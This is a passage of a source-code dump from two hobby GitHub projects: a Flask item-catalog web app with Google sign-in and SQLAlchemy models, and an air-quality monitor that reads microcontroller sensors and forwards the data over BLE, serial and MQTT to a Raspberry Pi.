token has expired\n message = 'You are not connected!'\n\n # In either case, do below\n del login_session['credentials']\n del login_session['gplus_id']\n del login_session['username']\n del login_session['email']\n del login_session['picture']\n del login_session['user_id']\n flash(message)\n return redirect(url_for('catalogList'))\n\n\napp.secret_key = os.environ.get('SECRET_KEY', 'some secret_key')\napp.debug = True\n\nif __name__ == \"__main__\":\n client_id = json.loads(open('client_secrets.json', 'r')\n .read())['web']['client_id']\n\n client_secret = json.loads(open('client_secrets.json', 'r')\n .read())['web']['client_secret']\n\n scope = \"\"\n redirect_uri = \"postmessage\"\n\n auth_uri = json.loads(open('client_secrets.json', 'r')\n .read())['web']['auth_uri']\n\n token_uri = json.loads(open('client_secrets.json', 'r')\n .read())['web']['token_uri']\n\n auth_provider_x509_cert_url = json.loads(open('client_secrets.json', 'r')\n .read())['web']['auth_provider_x509_cert_url']\n\n app.run(host=\"0.0.0.0\", port=5000)\n" }, { "alpha_fraction": 0.607272744178772, "alphanum_fraction": 0.610909104347229, "avg_line_length": 29, "blob_id": "0fb2dc1762b096cd492d04dfb41ac392f0e106b7", "content_id": "b02f32424ddb6aff998622098fdbd89a090ef1c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1650, "license_type": "no_license", "max_line_length": 78, "num_lines": 55, "path": "/models/users.py", "repo_name": "singhshalinis/itemCatalog", "src_encoding": "UTF-8", "text": "from sqlalchemy import Column, ForeignKey, Integer, String, DateTime, Sequence\nfrom sqlalchemy.orm import relationship\nfrom base import BaseModel, session\nimport datetime\n\nclass UserModel(BaseModel):\n __tablename__ = 'users'\n\n id = Column(Integer, Sequence('user_seq'), primary_key=True)\n username = Column(String(50), nullable=False)\n email = Column(String(50), nullable=False, unique=True)\n image_url = Column(String(50))\n created = Column(DateTime, default=datetime.datetime.now)\n\n def __init__(self, username, email):\n self.username = username\n self.email = email\n\n @property\n def easy_serialize(self):\n \"\"\"Return object data in easily serializeable format\"\"\"\n return {\n 'username': self.name,\n 'email': self.email,\n 'image_url': self.image,\n }\n\n def create_user(self):\n session.add(self)\n session.commit()\n return self\n # return {\"message\" : \"Error creating the user\"}\n\n @classmethod\n def get_by_id(cls, user_id):\n user = session.query(UserModel).filter_by(id=user_id).first()\n if user:\n return user\n # return {\"message\" : \"No user with this user_id\"}\n return None\n\n @classmethod\n def get_by_email(cls, user_email):\n user = session.query(UserModel).filter_by(email=user_email).first()\n if user:\n return user\n # return {\"message\" : \"No user with this email address\"}\n return None\n\n @classmethod\n def get_all(cls):\n users = session.query(UserModel).all()\n if users:\n return users\n return None\n" }, { "alpha_fraction": 0.7720848321914673, "alphanum_fraction": 0.78621906042099, "avg_line_length": 32.29411697387695, "blob_id": "d6ba5d7d295c4b1ab5739cfe401b10eba094112f", "content_id": "0049df1e7d0c17760ebf7f68dd6d3f06dfc6ee0f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 566, "license_type": "no_license", "max_line_length": 75, "num_lines": 17, "path": "/models/base.py", "repo_name": "singhshalinis/itemCatalog", "src_encoding": "UTF-8", "text": "from sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\n# database string\ndb_string = \"postgresql://postgres:postgres@localhost:5432/catalog\"\n\nBaseModel = declarative_base()\n\n# At the end of file\n# engine = create_engine('postgresql://scott:tiger@localhost:5432/catalog')\n# engine = create_engine('sqlite:///catalog.db')\nengine = create_engine(db_string)\n# BaseModel.metadata.create_all(engine)\nBaseModel.metadata.bind = engine\nDBSession = sessionmaker(bind=engine)\nsession = DBSession()\n" }, { "alpha_fraction": 0.8677685856819153, "alphanum_fraction": 0.8677685856819153, "avg_line_length": 29.25, "blob_id": "9a8b0773e080f4c7b6c506d36683ed114856cfad", "content_id": "bfd73b97972d6c916d2bad02f4fc9764e7f6266c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 121, "license_type": "no_license", "max_line_length": 36, "num_lines": 4, "path": "/models/__init__.py", "repo_name": "singhshalinis/itemCatalog", "src_encoding": "UTF-8", "text": "from base import BaseModel\nfrom categories import CategoryModel\nfrom items import ItemsModel\nfrom users import UserModel\n" }, { "alpha_fraction": 0.8666666746139526, "alphanum_fraction": 0.8888888955116272, "avg_line_length": 8, "blob_id": "6a526ef33a486fd0520fc1c4c4122dc96827338e", "content_id": "875069d3c89dbe63f784225dc4b32eaf27ec9a3e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 45, "license_type": "no_license", "max_line_length": 12, "num_lines": 5, "path": "/requirements.txt", "repo_name": "singhshalinis/itemCatalog", "src_encoding": "UTF-8", "text": "Flask\nSQLAlchemy\nuwsgi\noauth2client\nrequests\n" }, { "alpha_fraction": 0.6918971538543701, "alphanum_fraction": 0.7195535898208618, "avg_line_length": 40.6363639831543, "blob_id": "5bc6f41e9a2ddad6ff835196dad0ae266ab3c9d6", "content_id": "8508ca93ff3186f96b4abdedfd38ee6b4fa816f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4122, "license_type": "no_license", "max_line_length": 225, "num_lines": 99, "path": "/readme.md", "repo_name": "singhshalinis/itemCatalog", "src_encoding": "UTF-8", "text": "Item Catalog\n============\n\nWhat is it? (Functionality)\n---------------------------\nAn application that provides item catalog management. It provides login via Google's sign in. Registered and logged in users will have the ability to add, edit and delete items. The data currently persists on SQLite database.\n\n\nLast Update Date\n-----------------\nApril 27, 2016\n\n\nSystem Specific Notes\n-----------------------\n* Developed in Python 2.7 using Flask, Jinja and SQLAlchemy.\n* Implements Google sign in for authentication.\n* SQLite Database\n\n\nTesting\n----------\n* The website is designed for all devices but has been tested only on Chrome browser on Desktop.\n\nPackage Details (files)\n--------------------------------\nBelow is a brief description of the folders/files that have been used for this application.\n1. models (folder): Contains the models used in the application.\n * ItemModel\n * CategoryModel\n * USerModel\n\n2. static (folder): Contains the css and image files for the application.\n\n3. templates (folder): Contains all Jinja templates.\n\n4. catalog.py (file): The python file that receives and handles all requests.\n\n5. categories.txt (file): Allows configuration of categories used in the system. Currently the app does not support managing the categories from web.\n\n6. client_secrets.json (file): Needed by the system, but not provided here. For testing, local client_secrets.json file is needed.\n\n7. catalog01.db (db file): It is created when the application receives request for the first time. Its an SQLLIte database file.\n\n8. runtime.txt, requirements.txt, Procfile, uwsgi.ini are for deployment on Heroku and can be ignored.\n\nHow to get started\n-------------------\n1. Copy the code to local folder.\n\n2. Set the environment by installing the required dependencies mentioned in requirements.txt file.\n\n3. Provide the client_secrets.json file.\n\n4. Access the website at http://localhost:5000.\n\n5. Add, update, remove categories by changing the categories.txt file. Due to current design, this will only reflect when we remove catalog01.db file and restart.\n\nFunctionalities\n---------------\nThe app allows below functionalities as of now:\n1. Allows login using Google sign in button.\n2. Lists all categories and recent items available in the application.\n3. Provides details about items, and allows edit and delete of items for logged in users.\n4. Provides below JSON endpoints:\n * /catalog.json: Lists all categories and all items in them.\n * /catalog/<string:category_name>.json: All items in a category.\n (Does not provide, catalog/category/items.json which is an HTML endpoint due conflict with below)\n * /catalog/<string:category_name>/<string:item_name>.json: Details of one item.\n * /catalog/allitems.json: Lists all items.\n * e.g. http://localhost:5000/catalog/Shoes.json\n\n\nKnown issues\n------------\n* Deployed on Heroku at - http://itemcatalog01.herokuapp.com/. But the login with Google is not working on Heroku due to below error.\n\n ...\n File \"/app/.heroku/python/lib/python2.7/site-packages/httplib2/__init__.py\", line 1518, in request\n 2017-04-27T22:28:42.538518+00:00 app[web.1]: connection_type = SCHEME_TO_CONNECTION[scheme]\n 2017-04-27T22:28:42.538556+00:00 app[web.1]: KeyError: '\"https'\n\n\nBrowser shows a 503-Service Unavailable error. The error may be due to Heroku sending requests via https and the app currently does not support https. \n\nReferences, Credits & Acknowledgements\n--------------------------------------\n * Udacity's lectures mostly for OAuth callback, login and logout functionalities.\n * https://www.udemy.com/rest-api-flask-and-python/learn/v4/overview\n * http://stackoverflow.com/\n * https://dashboard.heroku.com/apps\n * https://gist.github.com/milancermak/3451039 for different ways of getting OAuth credentials.\n * https://ryanprater.com/blog/2014/9/25/howto-authorize-google-oauth-credentials-through-a-heroku-environment\n * https://developers.google.com/api-client-library/python/guide/aaa_oauth\n\n\nContact Information\n--------------------\nFor any comments, queries, issues, and bugs, please contact [email protected].\n" } ]
9
harshbhanushali05/air-quality
https://github.com/harshbhanushali05/air-quality
801f3e8f8f6f34bf66810f90bb9c28a1ea77983d
c8067eed898c92b7e1d904417afb76abfff2145f
6fc91b2d2e19dca5fe3cb714f362628e74ba9597
refs/heads/master
2021-09-24T21:23:15.492472
2018-10-15T01:26:57
2018-10-15T01:26:57
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5649867653846741, "alphanum_fraction": 0.604774534702301, "avg_line_length": 18.842105865478516, "blob_id": "571a0d82ae287ff55486807e41c058001eab04e4", "content_id": "0fb9933a54b30d1a17436db108753a8737860ec9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 377, "license_type": "no_license", "max_line_length": 41, "num_lines": 19, "path": "/air-sense/SenBME280IAQ.cpp", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#include \"SenBME280IAQ.hpp\"\n\nint SenBME280IAQ::init() {\n Serial.println(\"BME init\");\n if (bme.begin()) {\n setId(IDSenBME280IAQ);\n return 0;\n }\n return 1;\n}\n\nint SenBME280IAQ::read() {\n _temperature = bme.readTemperature();\n _humidity = bme.readHumidity();\n _pressure = bme.readPressure();\n _gasresistance = iaq.readGas();\n\n return 0;\n}\n" }, { "alpha_fraction": 0.6038709878921509, "alphanum_fraction": 0.6180645227432251, "avg_line_length": 24, "blob_id": "e8c2f09f92bcedb91abca137a9497a111c1d0a5a", "content_id": "a6916f73b32b3a17a58d836b19c7e95b50d2b011", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 775, "license_type": "no_license", "max_line_length": 96, "num_lines": 31, "path": "/air-pi/connector/serial_aq_mqtt.py", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nimport logging\nfrom lib.input.serial import SerialWrap\nfrom lib.parse.air import AirParse\nfrom lib.output.mqtt import MqttBroker\n\nlogging.basicConfig(level=logging.DEBUG, format=\"(%(threadName)-10s) %(levelname)s %(message)s\")\n\nserial = SerialWrap(\"/dev/serial0\", 9600, timeout=0.2)\naq = AirParse()\nmqtt = MqttBroker()\ndomain = \"home\"\n\n\ndef main():\n logging.info(\"ser2mqtt starting\")\n\n while True:\n line = serial.try_readline_decode()\n if not line:\n continue\n logging.debug(\"RECV: \" + line)\n\n for (key, value) in aq.parse_packet(line):\n logging.info(\"Pub %s/%s: %s\" % (domain, key, value))\n mqtt.publish(\"%s/%s\" % (domain, key), value)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5374592542648315, "alphanum_fraction": 0.5472312569618225, "avg_line_length": 13.619047164916992, "blob_id": "a760382cf6e899b92e9227738680962213b79d99", "content_id": "4eac368ebe4e583a8c6ff0d9aed956dc2d510b6c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 307, "license_type": "no_license", "max_line_length": 45, "num_lines": 21, "path": "/air-pi/legacy/ser2mqtt/Sensor.hpp", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#pragma once\n\n#include <cstdlib>\n\n#define LINE_SZ 256\n\nclass Sensor\n{\n public:\n Sensor(const char *device);\n ~Sensor();\n\n bool get_json(char* buf, int buf_sz);\n\n private:\n bool read_line();\n bool verify_checksum();\n\n int fd;\n char linebuf[LINE_SZ];\n};\n" }, { "alpha_fraction": 0.4839080572128296, "alphanum_fraction": 0.5114942789077759, "avg_line_length": 19.23255729675293, "blob_id": "8c7f6a5ecff4bbaea7198126b2f4784059cf160d", "content_id": "10573e8e8f1d91be489a165a119a43425640b632", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 870, "license_type": "no_license", "max_line_length": 102, "num_lines": 43, "path": "/air-sense/SenIAQ.hpp", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#include \"Wire.h\"\n\n#define IAQ_ADDR 0x5A\n\nclass Iaq {\npublic:\n Iaq() { Wire.begin(); }\n\n bool read() {\n Wire.requestFrom(IAQ_ADDR, 9);\n\n uint16_t predict = (Wire.read()<<8 | Wire.read());\n uint8_t status = Wire.read();\n uint32_t resistance = (Wire.read()&0x00) | (Wire.read()<<16) | (Wire.read()<<8 | Wire.read());\n uint16_t tvoc = (Wire.read()<<8 | Wire.read());\n\n if (!status) {\n this->predict = predict;\n this->resistance = resistance;\n this->tvoc = tvoc;\n return true;\n }\n return false;\n }\n\n float readGas() {\n read();\n return predict;\n }\n\n float readGasResistance() {\n return resistance;\n }\n\n float readGasTvoc() {\n return tvoc;\n }\n\nprivate:\n uint16_t predict;\n int32_t resistance;\n uint16_t tvoc;\n};\n" }, { "alpha_fraction": 0.6369661092758179, "alphanum_fraction": 0.6642120480537415, "avg_line_length": 22.824562072753906, "blob_id": "23c6c8d588d8eccce44bf6d5fa8a6ba9ba5a06ae", "content_id": "e66a906bcef2095ee35be4f5b722bd28935952c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1358, "license_type": "no_license", "max_line_length": 73, "num_lines": 57, "path": "/air-pi/ble2mqtt/airpi_ble.py", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nfrom sensor_manager import SensorManager\nfrom ble_controller import BleController, BleDelegate\nfrom mqtt import MqttBroker\nimport json\nimport time\n\nSENSOR_ADDR = \"F0:C7:7F:94:7D:D1\"\nSENSOR_UUID = \"0000ffe1-0000-1000-8000-00805f9b34fb\"\nSENSOR_HANDLE = 0x12\nTOPIC_ENVIRONMENT = \"home/env/\"\nTOPIC_DATASET = \"dataset\"\nTOPIC_GET = \"/raw\"\n\n\nsensor_manager = SensorManager()\nble = BleController()\nmqtt = MqttBroker()\n\n\ndef on_ble_data(data):\n sensor_manager.receive_raw_data(data)\n\n\ndef on_valid_data(data):\n print(\"New dataset received -> {}\".format(data))\n mqtt.publish(TOPIC_ENVIRONMENT + TOPIC_DATASET, json.dumps(data))\n\n\ndef on_sensor_data(sensor, data):\n mqtt.publish(TOPIC_ENVIRONMENT + sensor + TOPIC_GET, data)\n\n\ndef connect():\n while not ble.connect(SENSOR_ADDR):\n print(\"Will retry connection...\")\n time.sleep(5)\n\n\ndef main():\n ble.set_read_delegate(BleDelegate(SENSOR_HANDLE, on_ble_data))\n sensor_manager.on_new_data = on_valid_data\n sensor_manager.on_sensor_data = on_sensor_data\n connect()\n while True:\n result = ble.loop()\n if not result:\n print(\"Set to not run forever. Shutting down down airpi_ble\")\n break\n else:\n print(\"Error {} occurred\".format(result.code))\n connect()\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.4735516309738159, "alphanum_fraction": 0.48268261551856995, "avg_line_length": 22.701492309570312, "blob_id": "4287d888b99f000189f4dc5fdb94e9ceba19cca7", "content_id": "0f7e1d6dcdd0c2e76c1470a169b3c6babc993b60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3176, "license_type": "no_license", "max_line_length": 75, "num_lines": 134, "path": "/air-pi/legacy/ser2mqtt/Sensor.cpp", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#include \"Sensor.hpp\"\n\n#include <cstdio>\n#include <cstring>\n#include <fcntl.h>\n#include <termios.h>\n#include <unistd.h>\n\nSensor::Sensor(const char *device) {\n fd = open(device, O_RDWR | O_NOCTTY);\n if (fd < 0) {\n printf(\"Sensor: Failed to open %s\", device);\n exit(1);\n }\n\n // Configure serial port\n struct termios options;\n tcgetattr(fd, &options);\n options.c_iflag &= ~(INLCR | IGNCR | ICRNL | IXON | IXOFF);\n options.c_oflag &= ~(ONLCR | OCRNL);\n options.c_lflag &= ~(ECHO | ECHONL | ICANON | ISIG | IEXTEN);\n options.c_ispeed = 9600;\n options.c_ospeed = 9600;\n tcsetattr(fd, TCSANOW, &options);\n\n printf(\"Sensor: Init successful\\n\");\n}\n\nSensor::~Sensor() {\n close(fd);\n}\n\nbool Sensor::read_line() {\n char c;\n int pos = 0;\n while(read(fd, &c, 1)) {\n if (c == '\\n') {\n return verify_checksum();\n } else if (pos < LINE_SZ) {\n if (c == '\\r') {\n linebuf[pos++] = '\\0';\n } else {\n linebuf[pos++] = c;\n }\n }\n }\n return false;\n}\n\nbool Sensor::verify_checksum() {\n char* chk = strstr(linebuf, \",chk=\");\n if (!chk)\n return false;\n\n // Retrieve checksum from string\n char* k = strtok(chk, \"=\");\n char* v = strtok(NULL, \"=\");\n if (!k || !v)\n return false;\n char chk_recv = strtol(v, NULL, 10);\n\n // Calculate checksum from string\n char chk_calc = 0;\n for (int i=0; i<chk-linebuf; i++) {\n chk_calc += linebuf[i]*i;\n }\n\n // Data string ends where checksum starts\n *chk = '\\0';\n\n //printf(\"CHK: recv=%d calc=%d\\n\", chk_recv, chk_calc);\n if (chk_recv != chk_calc)\n return false;\n\n return true;\n}\n\nbool Sensor::get_json(char* buf, int buf_sz) {\n if (!read_line()) {\n return false;\n }\n\n char* key[20] = {};\n char* val[20] = {};\n unsigned int idx = 0;\n\n // Extract key ptrs\n key[idx] = strtok(linebuf, \",\");\n while (key[idx] && idx < sizeof(key)) {\n idx++;\n key[idx] = strtok(NULL, \",\");\n }\n\n // Loop over keys to obtain values\n for (unsigned int i = 0; i < idx; i++) {\n strtok(key[i], \"=\");\n if (char* v = strtok(NULL, \"=\")) {\n // Remove leading zeros for valid json\n while (*v && *(v+1) && *v == '0') {\n v++;\n }\n // Save value\n val[i] = v;\n //printf(\"%d: %s:%s\\n\", i, key[i], val[i]);\n }\n }\n //printf(\"\\n\");\n\n // Create json string\n int cnt = snprintf(buf, buf_sz, \"{ \");\n for (unsigned int i = 0; i < idx; i++) {\n // Abort without enough space\n if (buf_sz-cnt < 4) {\n return false;\n }\n\n // Ignore keys without value\n if (!key[i] || !val[i]) {\n continue;\n }\n\n // Add key value pair to json string\n if (i)\n cnt += snprintf(buf+cnt, buf_sz-cnt, \", \");\n cnt += snprintf(buf+cnt, buf_sz-cnt, \"\\\"%s\\\": %s\", key[i], val[i]);\n }\n // Abort without enough space\n if (buf_sz-cnt < 2) {\n return false;\n }\n cnt += snprintf(buf+cnt, buf_sz-cnt, \" }\");\n\n return true;\n}\n" }, { "alpha_fraction": 0.3799999952316284, "alphanum_fraction": 0.5799999833106995, "avg_line_length": 15.666666984558105, "blob_id": "deaf10f490e999aa392acfa3ab4274be0ad3b12e", "content_id": "264a68d37854c5bcae574bf4369c512d7dbc50f8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 50, "license_type": "no_license", "max_line_length": 18, "num_lines": 3, "path": "/air-pi/connector/requirements.txt", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "paho-mqtt ~= 1.4.0\npyserial ~= 3.4\ncrc16 ~= 0.1.1\n" }, { "alpha_fraction": 0.6689655184745789, "alphanum_fraction": 0.6984326243400574, "avg_line_length": 21.46478843688965, "blob_id": "29073cc023459ca6d41b7243a18180d9f32ad552", "content_id": "e8f3d6b06eb60aa1df55fd3254e12d8adf74c9a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1595, "license_type": "no_license", "max_line_length": 86, "num_lines": 71, "path": "/air-sense/air-sense.ino", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "/*\n * Simple air quality monitor node\n *\n * Using the following sensors:\n * - BME280 (temperature, humidity, pressure)\n * - iAQ-core (CO2, TVOC)\n * Or alternatively:\n * - BME680 (temperature, humidity, pressure, gas)\n *\n * Required libs:\n * - duff2013/Snooze\n * - DFRobot/DFRobot_BME680\n * - adafruit/Adafruit_Sensor\n * - adafruit/Adafruit_BME280_Library\n *\n * Data is read periodically by a Teensy 3.2 and then printed over serial\n * console to USB and HM-11 BLE module.\n */\n\n#include \"AQManager.hpp\"\n\n#define SER1 Serial1 // Serial port 1\n#define SERU Serial // USB Serial\n#ifndef SERU\n#include <Snooze.h>\nSnoozeTimer timer;\nSnoozeBlock config(timer);\n#endif\n\n#ifdef ARDUINO_ARCH_SAMD\n#define BLUEFRUIT\n#include \"src/bluefruit/BluefruitController.hpp\"\nBluefruitController ble;\nuint32_t airqCharId = 0;\n#endif\n\nAQManager aq;\nint counter = 0;\nconst int refreshInterval = 500;\n\nvoid setup() {\n SER1.begin(9600);\n#ifdef SERU\n SERU.begin(9600);\n#endif\n#ifdef BLUEFRUIT\n ble.setup();\n ble.addService(BLUEFRUIT_AIRQ_SERVICE);\n airqCharId = ble.addCharacteristic(BLUEFRUIT_AIRQ_CHAR, BLUEFRUIT_AIRQ_CHAR_PROP);\n ble.reset();\n#endif\n delay(2000);\n aq.init();\n}\n\nvoid loop() {\n aq.read();\n const char* buf = aq.format(counter++);\n SER1.print(buf);\n#ifdef BLUEFRUIT // Bluefruit\n ble.sendData(buf);\n // ble.setCharacteristic(airqCharId, buf);\n delay(refreshInterval);\n#elif defined(SERU) // HM-11 module\n SERU.print(buf);\n delay(refreshInterval);\n#else // Teensy power saving\n timer.setTimer(refreshInterval);\n Snooze.deepSleep(config);\n#endif\n}\n" }, { "alpha_fraction": 0.4117647111415863, "alphanum_fraction": 0.5882353186607361, "avg_line_length": 16, "blob_id": "7d121ef413333e8b976a0bdfb564d218821bdef9", "content_id": "27a138ecb165b041535d7609c70a3969079d77c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 51, "license_type": "no_license", "max_line_length": 18, "num_lines": 3, "path": "/air-pi/ble2mqtt/requirements.txt", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "pybluez ~= 0.22\nbluepy ~= 1.1.2\npaho-mqtt ~= 1.3.1\n" }, { "alpha_fraction": 0.5714285969734192, "alphanum_fraction": 0.6623376607894897, "avg_line_length": 18.25, "blob_id": "871867509ca451d41f5305c79af0244644194ca9", "content_id": "832db316db9500132a5c6a5252be1fb583df6753", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 77, "license_type": "no_license", "max_line_length": 41, "num_lines": 4, "path": "/air-sense/utils/plot_data.sh", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\npicocom -b 115200 $1 | tee air_data.log &\ngnuplot -c plot_data.gp\n" }, { "alpha_fraction": 0.6286231875419617, "alphanum_fraction": 0.6594203114509583, "avg_line_length": 18.714284896850586, "blob_id": "0d70fc5e91c31669ce8eaf1ae743c502df0dc4ea", "content_id": "48aa3cc713e70bfd7aa78f63cbec659bec12002e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 552, "license_type": "no_license", "max_line_length": 58, "num_lines": 28, "path": "/air-sense/SenBME680.hpp", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "#pragma once\n\n#include <DFRobot_BME680_I2C.h>\n\n#include \"ISensor.hpp\"\n\n#define BME_ADDR 0x77\n\nclass SenBME680 : public ISensor {\npublic:\n SenBME680() : bme(BME_ADDR) {}\n\n int init();\n int read();\n\n float temperature() const { return _temperature; }\n float humidity() const { return _humidity; }\n float pressure() const { return _pressure; }\n float gasresistance() const { return _gasresistance; }\n\nprivate:\n DFRobot_BME680_I2C bme;\n\n float _temperature;\n float _humidity;\n float _pressure;\n float _gasresistance;\n};\n" }, { "alpha_fraction": 0.5622844099998474, "alphanum_fraction": 0.5916059613227844, "avg_line_length": 56.977779388427734, "blob_id": "bc689270d867639469dbb7f11b28bcc4e23089b6", "content_id": "2173da3f164433f0737f26ef7ef1ec5586a2553c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 5246, "license_type": "no_license", "max_line_length": 204, "num_lines": 90, "path": "/README.md", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "# Air Quality monitor\nImplementation of an affordable indoor air quality monitor using various sensors connected to a microcontroller and streaming the data to a Raspberry Pi for analysis using [Node-RED](http://nodered.org/).\n\n![Dashboard]\n\n## Architecture\n\n## Sensing Unit (air-sense)\nIn the sensing unit a [Teensy] microcontroller reads the sensor data from the connected sensors and sends it over the attached Bluetooth BLE module.\n\n### Hardware\nThe following sensors are used:\n\n#### Version 1\nOriginal version with dedicated VOC MEMS sensor\n\n| Category | Name | Provides | Price |\n|---------------------|----------------------|--------------------------------------|------:|\n| Core | [Teensy 3.2][Teensy] | Microcontroller | ~24€ |\n| Communication | [HM-11] | Bluethooth | ~5€ |\n| Sensors | [BME280] | Temperature, Pressure, Humidity | ~14€ |\n| Sensors | [iAQ-core C] | VOC Sensor | ~33€ |\n| | | **Total** | ~76€ |\n\n#### Version 2\nUpdated version with recently released BME680 sensor\n\n| Category | Name | Provides | Price |\n|---------------------|----------------------|--------------------------------------|------:|\n| Core | [Teensy 3.2][Teensy] | Microcontroller | ~24€ |\n| Communication | [HM-11] | Bluethooth | ~5€ |\n| Sensors | [BME680] | Temperature, Pressure, Humidity, VOC | ~15€ |\n| | | **Total** | ~44€ |\n\n#### Additional optional sensors\n| Category | Name | Provides | Price |\n|---------------------|----------------------|--------------------------------------|------:|\n| Sensors (optional) | [MQ135] | Analog Gas Sensor | ~2€ |\n| Sensors (optional) | [SM-PWM-01C] | Dust Sensor | ~14€ |\n\n### Wiring\nA Fritzing sketch documenting the layout of the current hardware prototype is located in `air-sense/wiring`.\n\n\n## Processing unit (air-pi)\nThis unit was installed and tested on a [Raspberry Pi 3], running Debian Jessie.\nThe purpose of this unit is to process all the data received via Bluetooth from the sensing unit and compute the current air quality index, based on the latest measurements.\nThis unit is also configured to display the current status, as well as triggering real-time notifications in case the air quality gets worse.\n\n### Hardware\nBesides the Raspberry Pi an additional Bluetooth BLE module is used to receive the data from wirelessly connected sensing units.\n\n| Category | Name | Price |\n|----------------|-----------------------|------:|\n| Core | [Raspberry Pi 3] | ~40€ |\n| Comm | [HM-11] | ~5€ |\n| LED (optional) | [WS2812 RGB LED Ring] | ~7€ |\n\nThe HM-11 BLE module is connected to the serial port of the Raspberry Pi:\n- [TXD](http://pinout.xyz/pinout/pin8_gpio14)\n- [RXD](http://pinout.xyz/pinout/pin10_gpio15)\n\nThe Neopixel LED ring can be additionally connected to the Raspberry Pi to indicate the current air quality directly on the processing unit.\n- VCC (any)\n- GND (any)\n- [BCM 18](https://pinout.xyz/pinout/pin12_gpio18) (pin 12) for providing input to the LED\n\n### Installation\nRaspberry Pi 3 comes with a pre-installed version of Node-RED.\nAdditionally, the following node modules are used:\n- [node-red-node-sqlite](https://www.npmjs.com/package/node-red-node-sqlite)\n- [node-red-contrib-telegrambot](https://github.com/windkh/node-red-contrib-telegrambot)\n- [node-red-dashboard](https://github.com/node-red/node-red-dashboard)\n- [node-red-node-pi-neopixel](https://www.npmjs.com/package/node-red-node-pi-neopixel)\n(for controlling the neopixel LEDs, an additional library needs to be installed. This can be done by following the instructions on the npmjs or github page of this module)\n\nAll the required flows needed for running the application can be found inside the `air-pi/node-red` folder.\nThese flows can be easily imported via the web-based GUI provided by Node-RED.\n\n\n[Dashboard]: https://cloud.githubusercontent.com/assets/1117666/21831099/b9782bfa-d7a1-11e6-8d5f-f32e0b3c3636.png\n[Teensy]: https://www.pjrc.com/teensy\n[HM-11]: http://wiki.seeed.cc/Bluetooth_V4.0_HM_11_BLE_Module\n[BME280]: https://www.bosch-sensortec.com/bst/products/all_products/bme280\n[BME680]: https://www.bosch-sensortec.com/bst/products/all_products/bme680\n[iAQ-core C]: http://ams.com/eng/Products/Environmental-Sensors/Air-Quality-Sensors/iAQ-core-C\n[MQ135]: https://www.olimex.com/Products/Components/Sensors/SNS-MQ135\n[SM-PWM-01C]: http://www.amphenol-sensors.com/en/component/edocman/3-co2/4-co2-modules/194-sm-pwm-01c\n[Raspberry Pi 3]: https://www.raspberrypi.org/products/raspberry-pi-3-model-b\n[WS2812 RGB LED Ring]: http://www.watterott.com/de/WS2812B-RGB-Ring-8\n" }, { "alpha_fraction": 0.6029629707336426, "alphanum_fraction": 0.6044444441795349, "avg_line_length": 27.723403930664062, "blob_id": "cea0a7a964274b73daa9e7dc958eae697fb46613", "content_id": "dd20d9c79613882aaaf8a2e8e4fab392cd2870ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1350, "license_type": "no_license", "max_line_length": 67, "num_lines": 47, "path": "/air-pi/ble2mqtt/ble_controller.py", "repo_name": "harshbhanushali05/air-quality", "src_encoding": "UTF-8", "text": "from bluepy import btle\n\n\nclass BleDelegate(btle.DefaultDelegate):\n def __init__(self, listen_handle, on_new_data):\n btle.DefaultDelegate.__init__(self)\n self.listen_handle = listen_handle\n self.on_new_data = on_new_data\n\n def handleNotification(self, cHandle, data):\n if cHandle == self.listen_handle:\n self.on_new_data(data)\n\n\nclass BleController:\n def __init__(self):\n self.connected_device = btle.Peripheral()\n\n def connect(self, address):\n try:\n self.connected_device.connect(address)\n self.get_characteristics()\n return True\n except btle.BTLEException:\n print(\"Connection to to {} failed\".format(address))\n return False\n\n def get_characteristics(self):\n # TODO: implement precise print logic\n self.connected_device.getCharacteristics()\n pass\n\n def get_services(self):\n #TODO: implement\n pass\n\n def set_read_delegate(self, read_delegate):\n self.connected_device.setDelegate(read_delegate)\n\n def loop(self, forever=True, timeout=0.1):\n while True:\n 